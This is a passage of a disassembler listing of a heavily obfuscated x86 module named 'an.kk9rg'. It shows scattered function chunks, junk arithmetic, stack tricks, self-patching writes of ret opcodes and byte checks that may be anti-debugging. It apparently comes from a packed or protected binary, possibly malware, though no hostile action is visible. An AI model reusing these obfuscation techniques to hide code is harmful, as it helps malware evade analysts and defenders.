an.kk9rg:1001B96Dj ; FUNCTION CHUNK AT 10018027 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001A5DD SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx add edx, 6D780B14h add edx, ebp add edx, 5F05FA61h mov edx, [edx] jmp loc_10018027 sub_1001A533 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001A54C proc near ; CODE XREF: an.kk9rg:1001D6C9j ; DATA XREF: sub_1001D6A6+13o var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 10013935 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10015E52 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100165D1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100169CD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016CCA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017ECA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001804F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001B258 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B8EE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001C6F8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C72C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001CA8B SIZE 00000023 BYTES ; FUNCTION CHUNK AT 1001D27C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D499 SIZE 0000000A BYTES xchg ebx, [esp+0] jmp loc_10016CCA sub_1001A54C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001A554: ; DATA XREF: sub_10019E17:loc_1001539Co pop ebp retn ; --------------------------------------------------------------------------- loc_1001A556: ; CODE XREF: an.kk9rg:10018B27j jmp loc_1001AB66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E17 loc_1001A55B: ; CODE XREF: sub_10019E17+Bj mov eax, [ebp+8] cmp dword ptr [eax-0Ch], 4 jnz loc_1001A5A1 add dword ptr [ebp-8], 4 jmp loc_100174BB ; END OF FUNCTION CHUNK FOR sub_10019E17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001A571: ; CODE XREF: sub_1001492C-7FEj jb loc_100172B8 jbe loc_1001340F ja loc_100154B2 loc_1001A583: ; CODE XREF: sub_1001492C:loc_10015527j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h loc_1001A589: ; CODE XREF: sub_100193F2:loc_1001C32Fj jnz loc_1001396C jmp loc_10016669 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- and ebp, ebx jmp loc_1001734E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_209. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100152C7 loc_1001A59C: ; CODE XREF: sub_100152C7+6237j jmp loc_1001AFC1 ; END OF FUNCTION CHUNK FOR sub_100152C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E17 loc_1001A5A1: ; CODE XREF: sub_10019E17+74Bj add dword ptr [ebp-8], 2 jmp loc_10014A5D ; END OF FUNCTION CHUNK FOR sub_10019E17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015995 loc_1001A5AA: ; CODE XREF: sub_10015995:loc_10014D45j ; sub_1001B5A3+4j call sub_10018C76 loc_1001A5AF: ; CODE XREF: sub_10016D66:loc_10013FD9j mov eax, [eax+18h] dec eax test eax, eax jl loc_1001B7CA inc eax call sub_100144F5 loc_1001A5C1: ; CODE XREF: an.kk9rg:1001545Fj jmp loc_100153B5 ; END OF FUNCTION CHUNK FOR sub_10015995 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100173FA loc_1001A5C6: ; CODE XREF: sub_100173FA+7j mov ebp, esp push offset sub_10017442 jmp loc_100199C8 ; END OF FUNCTION CHUNK FOR sub_100173FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_1001A5D2: ; CODE XREF: sub_10019571:loc_10017C56j jg loc_1001A3CC jmp loc_10016A39 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A533 loc_1001A5DD: ; CODE XREF: sub_1001A533-2502j jnz loc_1001B558 jmp loc_1001351B ; END OF FUNCTION CHUNK FOR sub_1001A533 ; --------------------------------------------------------------------------- locret_1001A5E8: ; CODE XREF: an.kk9rg:100147D6j retn ; --------------------------------------------------------------------------- loc_1001A5E9: ; CODE XREF: an.kk9rg:1001D018j add edi, eax ; =============== S U B R O U T I N E ======================================= sub_1001A5EB proc near ; CODE XREF: sub_1001498A+6105p xchg edx, [esp+0] pop edx dec dword ptr [ebp-24h] jnz loc_10013B37 jmp loc_1001B7CA sub_1001A5EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001A5FD: ; CODE XREF: sub_10018AB1+2FBBj rol eax, 10h push eax jmp nullsub_86 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; =============== S U B R O U T I N E ======================================= sub_1001A606 proc near ; DATA XREF: sub_10018E79+3A28o ; FUNCTION CHUNK AT 10014470 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015B92 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015BF7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B6DA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001DA88 SIZE 00000005 BYTES add edx, 0D29FD597h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_10015B92 jmp loc_10015BF7 sub_1001A606 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cdq add ebp, 0DA19C82Ch jmp sub_1001CC4A ; --------------------------------------------------------------------------- loc_1001A629: ; DATA XREF: sub_1001C619+6o pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100150A4 loc_1001A62B: ; CODE XREF: sub_100150A4+5j jmp loc_10017048 ; END OF FUNCTION CHUNK FOR sub_100150A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_1001A630: ; CODE XREF: sub_1001C6B0:loc_10014556j ; sub_100145B9+9j ... mov al, 1 jmp loc_10013FE4 ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001A637: ; CODE XREF: sub_10016C92j ; sub_100136D7:loc_10019FBEj call sub_1001AB4F loc_1001A63C: ; CODE XREF: sub_10013389+88D4j jmp loc_10017DA7 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019C1D loc_1001A641: ; CODE XREF: sub_10019C1D+7j jmp sub_1001534D ; END OF FUNCTION CHUNK FOR sub_10019C1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017F49 loc_1001A646: ; CODE XREF: sub_10017F49+310j jmp nullsub_201 ; END OF FUNCTION CHUNK FOR sub_10017F49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_1001A64B: ; CODE XREF: sub_10016D04:loc_10016F0Ej jz loc_10019216 jmp loc_10018101 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001A656: ; CODE XREF: sub_10019E2E+2FCAj imul byte ptr [edx] cmp al, 0A4h jz loc_1001D928 jmp loc_1001363E ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_1001A665: ; CODE XREF: sub_10015988:loc_10016F54j ; an.kk9rg:1001C355j or ebx, 2EAB275Bh jmp sub_100170BC ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- locret_1001A670: ; CODE XREF: an.kk9rg:loc_100192A7j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_1001A671: ; CODE XREF: sub_10013999+93C4j jmp loc_10018D81 ; END OF FUNCTION CHUNK FOR sub_10013999 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001A676: ; CODE XREF: sub_10019E2E+1D13j jmp loc_1001D1AC ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001A67B: ; CODE XREF: sub_10017394:loc_1001CD63j or eax, edi test ecx, ebx jmp loc_1001CF76 ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001A684: ; CODE XREF: sub_1001492C:loc_10016669j jz loc_10013967 jmp loc_100168E5 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- loc_1001A68F: ; CODE XREF: an.kk9rg:100179BEj sub ebx, 62201AA9h loc_1001A695: ; CODE XREF: an.kk9rg:loc_100179B7j add eax, 0ADF15402h add eax, ebp add eax, 6290C054h jmp loc_10013435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_1001A6A8: ; CODE XREF: sub_1001A12F:loc_10016A34j jz loc_10016E52 jmp loc_1001CF87 ; END OF FUNCTION CHUNK FOR sub_1001A12F ; --------------------------------------------------------------------------- shr ecx, 1Ch jmp sub_1001A2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001A6BB: ; CODE XREF: sub_10013389+3FDCj ja loc_10017701 or esi, 942BE4B8h jmp loc_10018C2A ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001A6CC: ; CODE XREF: an.kk9rg:1001AEEFj jnb loc_1001CA11 ; =============== S U B R O U T I N E ======================================= sub_1001A6D2 proc near ; CODE XREF: an.kk9rg:loc_10016C53p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10017F22 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10018E64 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001B48A SIZE 0000000E BYTES xchg edx, [esp+0] pop edx jz loc_10018E64 jmp loc_10017F22 sub_1001A6D2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_1001A6E1: ; CODE XREF: sub_100142E8+725Ej ror ebp, 12h jb loc_10018828 jmp loc_10015B2A ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- loc_1001A6EF: ; CODE XREF: an.kk9rg:100136A3j jge loc_10013AE6 mov edx, [esi] ; =============== S U B R O U T I N E ======================================= sub_1001A6F7 proc near ; CODE XREF: an.kk9rg:10016DDDp ; FUNCTION CHUNK AT 10013AD6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100159EC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10015A97 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 100179DF SIZE 00000017 BYTES ; FUNCTION CHUNK AT 100181A0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B01E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DA8D SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push ecx mov [ebp-4], eax jmp loc_1001DA8D sub_1001A6F7 endp ; --------------------------------------------------------------------------- loc_1001A704: ; CODE XREF: an.kk9rg:1001D33Fj jnp loc_1001C294 ; =============== S U B R O U T I N E ======================================= sub_1001A70A proc near ; CODE XREF: sub_10019409-2B6Ep var_8 = dword ptr -8 ; FUNCTION CHUNK AT 10013B03 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016DB9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018A5B SIZE 0000001C BYTES xchg edi, [esp+0] pop edi add edx, ebp add edx, 0A017474h mov edx, [edx] imul byte ptr [edx] jmp loc_10016DB9 sub_1001A70A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B2CC loc_1001A71F: ; CODE XREF: sub_1001B2CC+Bj cdq jmp loc_1001CA16 ; END OF FUNCTION CHUNK FOR sub_1001B2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_1001A725: ; CODE XREF: sub_10016A1B:loc_100139BCj mov eax, [ebp-4] call sub_10017273 loc_1001A72D: ; CODE XREF: sub_1001CA40-51A7j jmp sub_100132E5 ; END OF FUNCTION CHUNK FOR sub_10016A1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_1001A732: ; CODE XREF: sub_1001C26A-8097j jmp loc_10015D37 ; END OF FUNCTION CHUNK FOR sub_1001C26A ; --------------------------------------------------------------------------- mov [edi], ecx or edi, esi jmp sub_10015988 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001A740: ; CODE XREF: sub_10017BF9:loc_1001A3EAj sbb esi, 0E6A33DBFh jmp loc_10014234 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- not ebx sub esi, eax jmp sub_10017F49 ; --------------------------------------------------------------------------- loc_1001A754: ; CODE XREF: an.kk9rg:loc_10015B53j mov eax, 0BC7399C0h push esi call sub_1001C3AE ; START OF FUNCTION CHUNK FOR sub_1001C4EB loc_1001A75F: ; CODE XREF: sub_1001C4EB+7j jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_1001C4EB ; --------------------------------------------------------------------------- loc_1001A764: ; CODE XREF: an.kk9rg:100151AEj jmp loc_100167D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001A769: ; CODE XREF: sub_10017BF9-39B1j jmp loc_1001B754 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; =============== S U B R O U T I N E ======================================= sub_1001A76E proc near ; DATA XREF: an.kk9rg:100162C5o xchg ecx, [esp+0] mov edx, ecx pop ecx call sub_10016532 sub_1001A76E endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001A779: ; CODE XREF: sub_10013389+2E4j jmp loc_1001DA9D ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001A77E: ; CODE XREF: sub_10017BF9:loc_10017E9Ej jz loc_1001DF17 jmp loc_10014D82 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- loc_1001A789: ; DATA XREF: sub_10015DB9:loc_1001A45Co neg eax cmp ax, 0A5B3h call sub_10013BAD mov ds:dword_10002024, eax lea eax, nullsub_98 mov byte ptr [eax], 0C3h jmp loc_100154BA ; --------------------------------------------------------------------------- loc_1001A7A8: ; CODE XREF: an.kk9rg:10019D81j mov eax, [esp] push eax jmp loc_10017107 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- sub esi, 0A8845D0Fh jmp sub_10015792 ; =============== S U B R O U T I N E ======================================= sub_1001A7BD proc near ; CODE XREF: sub_10018C76+Ej ; FUNCTION CHUNK AT 10019174 SIZE 00000005 BYTES push ebp mov eax, [ebp-20h] call sub_1001A7CF pop ecx mov [ebp-20h], eax jmp loc_10019174 sub_1001A7BD endp ; =============== S U B R O U T I N E ======================================= sub_1001A7CF proc near ; CODE XREF: sub_1001A7BD+4p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 1001756F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DAF6 SIZE 00000017 BYTES call sub_10015131 loc_1001A7D4: ; CODE XREF: sub_100181E1-5039j ; sub_10013389+1B4j ... xchg eax, edx push edi push 16DC7A6Fh pop edi or edi, 0B242A6A4h jmp loc_1001756F sub_1001A7CF endp ; --------------------------------------------------------------------------- mov edx, eax jmp sub_10015C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3CA loc_1001A7EE: ; CODE XREF: sub_1001B3CA:loc_1001417Fj xor eax, 0ACE60538h jnp loc_10015C9B and esi, ecx jmp loc_1001762C ; END OF FUNCTION CHUNK FOR sub_1001B3CA ; --------------------------------------------------------------------------- mov eax, 0F25CB94Fh push offset sub_10015F31 jmp locret_10017EED ; =============== S U B R O U T I N E ======================================= sub_1001A810 proc near ; CODE XREF: sub_10018C76:loc_1001A1E3j push ebp mov eax, [ebp-20h] call sub_1001A822 pop ecx mov [ebp-20h], eax jmp loc_1001601E sub_1001A810 endp ; =============== S U B R O U T I N E ======================================= sub_1001A822 proc near ; CODE XREF: sub_1001A810+4p push ebp jmp loc_1001AA94 sub_1001A822 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016573 loc_1001A828: ; CODE XREF: sub_10016573+Dj mov byte ptr [eax], 0C3h jmp loc_10016611 ; END OF FUNCTION CHUNK FOR sub_10016573 ; --------------------------------------------------------------------------- loc_1001A830: ; CODE XREF: an.kk9rg:loc_1001DE27j xchg ebx, [esp] mov edx, ebx pop ebx mov eax, [esp] push offset sub_1001D50B jmp loc_10015B14 ; --------------------------------------------------------------------------- locret_1001A843: ; CODE XREF: an.kk9rg:loc_1001DA24j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B20F loc_1001A844: ; CODE XREF: sub_1001B20F-1E88j jmp loc_10013000 ; END OF FUNCTION CHUNK FOR sub_1001B20F ; --------------------------------------------------------------------------- loc_1001A849: ; CODE XREF: an.kk9rg:10018BB3j jmp loc_100180AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001A84E: ; CODE XREF: sub_10019409-3601j jmp loc_100137EC ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_1001A853: ; CODE XREF: sub_1001767A:loc_10018D39j cmp byte ptr [eax], 0F1h jnz loc_100155C7 jmp loc_100191D2 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- push edx mov edx, eax xchg edx, [esp] ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001A867: ; CODE XREF: sub_10013389+6855j push edx mov edx, eax xchg edx, [esp+4+var_4] jmp loc_1001D4A8 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001A872: ; CODE XREF: sub_10017BF9+1E8Cj or edx, 0A7AF2058h xor edx, 0EB4E59E2h add edx, ebp push offset sub_1001456F jmp nullsub_81 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; =============== S U B R O U T I N E ======================================= sub_1001A88A proc near ; DATA XREF: sub_10013688+17C2o ; FUNCTION CHUNK AT 10017F44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D82D SIZE 00000011 BYTES jnz loc_1001D82D mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h mov edx, [ebp+8] mov [edx-8], eax jmp loc_10017F44 sub_1001A88A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001A8A7: ; CODE XREF: an.kk9rg:1001A457j mov esi, ebx pop ebx xor esi, 19BB7382h or esi, 883579B6h add esi, 5689D07Fh jmp loc_1001C746 ; --------------------------------------------------------------------------- loc_1001A8C1: ; DATA XREF: an.kk9rg:1001B889o add eax, 0FFFD61C5h xchg eax, [esp] jmp loc_1001837D ; --------------------------------------------------------------------------- popf jmp sub_1001B935 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_1001A8D6: ; CODE XREF: sub_100194EA-25F6j jmp loc_1001B8A9 ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- loc_1001A8DB: ; CODE XREF: an.kk9rg:100145B3j sub ebx, esi ; =============== S U B R O U T I N E ======================================= sub_1001A8DD proc near ; CODE XREF: sub_10013389+81D2p ; FUNCTION CHUNK AT 10017554 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10018D76 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi cmp byte ptr [eax], 0F1h jnz loc_10017554 jmp loc_10018D76 sub_1001A8DD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001A8EF: ; CODE XREF: sub_10019409:loc_1001CDBDj cmp ecx, 222118C1h jmp loc_100154DE ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D951 loc_1001A8FA: ; CODE XREF: sub_1001D951:loc_10014BD2j push eax lea eax, sub_100153B8 push edi mov edi, eax jmp loc_1001ACD3 ; END OF FUNCTION CHUNK FOR sub_1001D951 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_1001A909: ; CODE XREF: sub_100188EE+711j mov eax, [ebp-4] add eax, 0B7D1D658h call sub_10016E8B ; END OF FUNCTION CHUNK FOR sub_100188EE ; START OF FUNCTION CHUNK FOR sub_10018D62 loc_1001A917: ; CODE XREF: sub_10018D62+Fj jmp loc_1001D378 ; END OF FUNCTION CHUNK FOR sub_10018D62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001A91C: ; CODE XREF: sub_100136D7+38Ej jmp loc_1001C74B ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C8CE loc_1001A921: ; CODE XREF: sub_1001C8CE:loc_10018EB2j jz loc_10018C2A jmp loc_10016E86 ; END OF FUNCTION CHUNK FOR sub_1001C8CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001A92C: ; CODE XREF: sub_10017394-2A11j jz loc_10016197 jmp loc_1001CD63 ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_1001A937: ; CODE XREF: sub_10015BFC:loc_10013895j add eax, 2CAE198Ah mov eax, [eax] or eax, eax jnz loc_10016313 jmp loc_1001B6B9 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014E66 loc_1001A94C: ; CODE XREF: sub_10014E66:loc_10015163j jnz loc_10014612 jmp loc_1001BC62 ; END OF FUNCTION CHUNK FOR sub_10014E66 ; --------------------------------------------------------------------------- loc_1001A957: ; CODE XREF: an.kk9rg:loc_10015699j sub eax, 0F1C6F693h and eax, 7D4BDE88h rol eax, 8 add eax, 3CB8258Fh add eax, ebp jmp loc_1001B819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001A973: ; CODE XREF: sub_10019409-5290j jz loc_100132DD jmp loc_10014F1D ; END OF FUNCTION CHUNK FOR sub_10019409 ; =============== S U B R O U T I N E ======================================= sub_1001A97E proc near ; DATA XREF: sub_10016D66+3361o ; FUNCTION CHUNK AT 10013599 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 100142A8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100142E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100149B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100158FA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100161CC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016560 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100166D8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016729 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100168C0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10017304 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10017758 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 100178F4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017C2E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10017FD5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001845C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 100187D8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10018CC3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10018D9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018DBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018F4D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001916D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10019639 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019B75 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B510 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001B834 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001BA7F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001C2EB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001C48C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C6CC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001CDAD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001CFA6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D4BC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001D684 SIZE 00000005 BYTES pop edx mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_10017309 jmp loc_100161CC sub_1001A97E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001985B loc_1001A98F: ; CODE XREF: sub_1001985B:loc_10018CD4j sub al, 99h push 14409D6h pop edx add edx, 0E177EDBBh and edx, 55884105h add edx, 9C0F8FABh add edx, ebp jmp loc_10016A4B ; END OF FUNCTION CHUNK FOR sub_1001985B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_1001A9B0: ; CODE XREF: sub_10015BFC:loc_1001D039j push eax call sub_100174F4 retn ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D4C9 loc_1001A9B7: ; CODE XREF: sub_1001D4C9+17j jmp nullsub_148 ; END OF FUNCTION CHUNK FOR sub_1001D4C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013359 loc_1001A9BC: ; CODE XREF: sub_10013359+Dj jmp loc_1001703B ; END OF FUNCTION CHUNK FOR sub_10013359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_1001A9C1: ; CODE XREF: sub_100180C2-29D8j ; sub_1001B956+2428j jns sub_10016B20 push esi mov esi, ebp xchg esi, [esp+10h+var_10] mov ebp, esp jmp loc_1001C0DB ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017217 loc_1001A9D4: ; CODE XREF: sub_10017217:loc_1001ACA0j pop edi xchg edi, [esp+0] mov edx, 0FFFFFFFFh push edx ; END OF FUNCTION CHUNK FOR sub_10017217 ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001A9DE: ; CODE XREF: sub_1001564A:loc_100155EEj push eax call sub_10015BFC push esi jmp loc_100152A7 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019473 loc_1001A9EA: ; CODE XREF: sub_10019473:loc_1001860Cj mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_1001B8DC jmp loc_1001B34D ; END OF FUNCTION CHUNK FOR sub_10019473 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100141F5 loc_1001A9FA: ; CODE XREF: sub_100141F5:loc_1001DB5Aj mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_C], eax xor eax, eax jmp loc_1001587C ; END OF FUNCTION CHUNK FOR sub_100141F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001AA0A: ; CODE XREF: sub_10016167+3C6j jz loc_10015F16 jmp loc_10014A90 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100198E6 loc_1001AA15: ; CODE XREF: sub_100198E6+3991j mov eax, [ebp-8] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_100198E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001AA1C: ; CODE XREF: sub_10013688+Ej cmp dword ptr [ebp-10h], 1 push offset sub_10016C31 jmp loc_100180E0 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015945 loc_1001AA2A: ; CODE XREF: sub_10015945:loc_1001C9B1j jz loc_1001AA3D loc_1001AA30: ; CODE XREF: sub_100175DE-2F56j push ebp mov eax, [ebp-20h] call sub_1001ACEF pop ecx ; END OF FUNCTION CHUNK FOR sub_10015945 ; START OF FUNCTION CHUNK FOR sub_10015995 loc_1001AA3A: ; CODE XREF: sub_10015995:loc_10019FC9j mov [ebp-20h], eax loc_1001AA3D: ; CODE XREF: sub_10015B5D:loc_10018420j ; sub_10015945:loc_1001AA2Aj jno 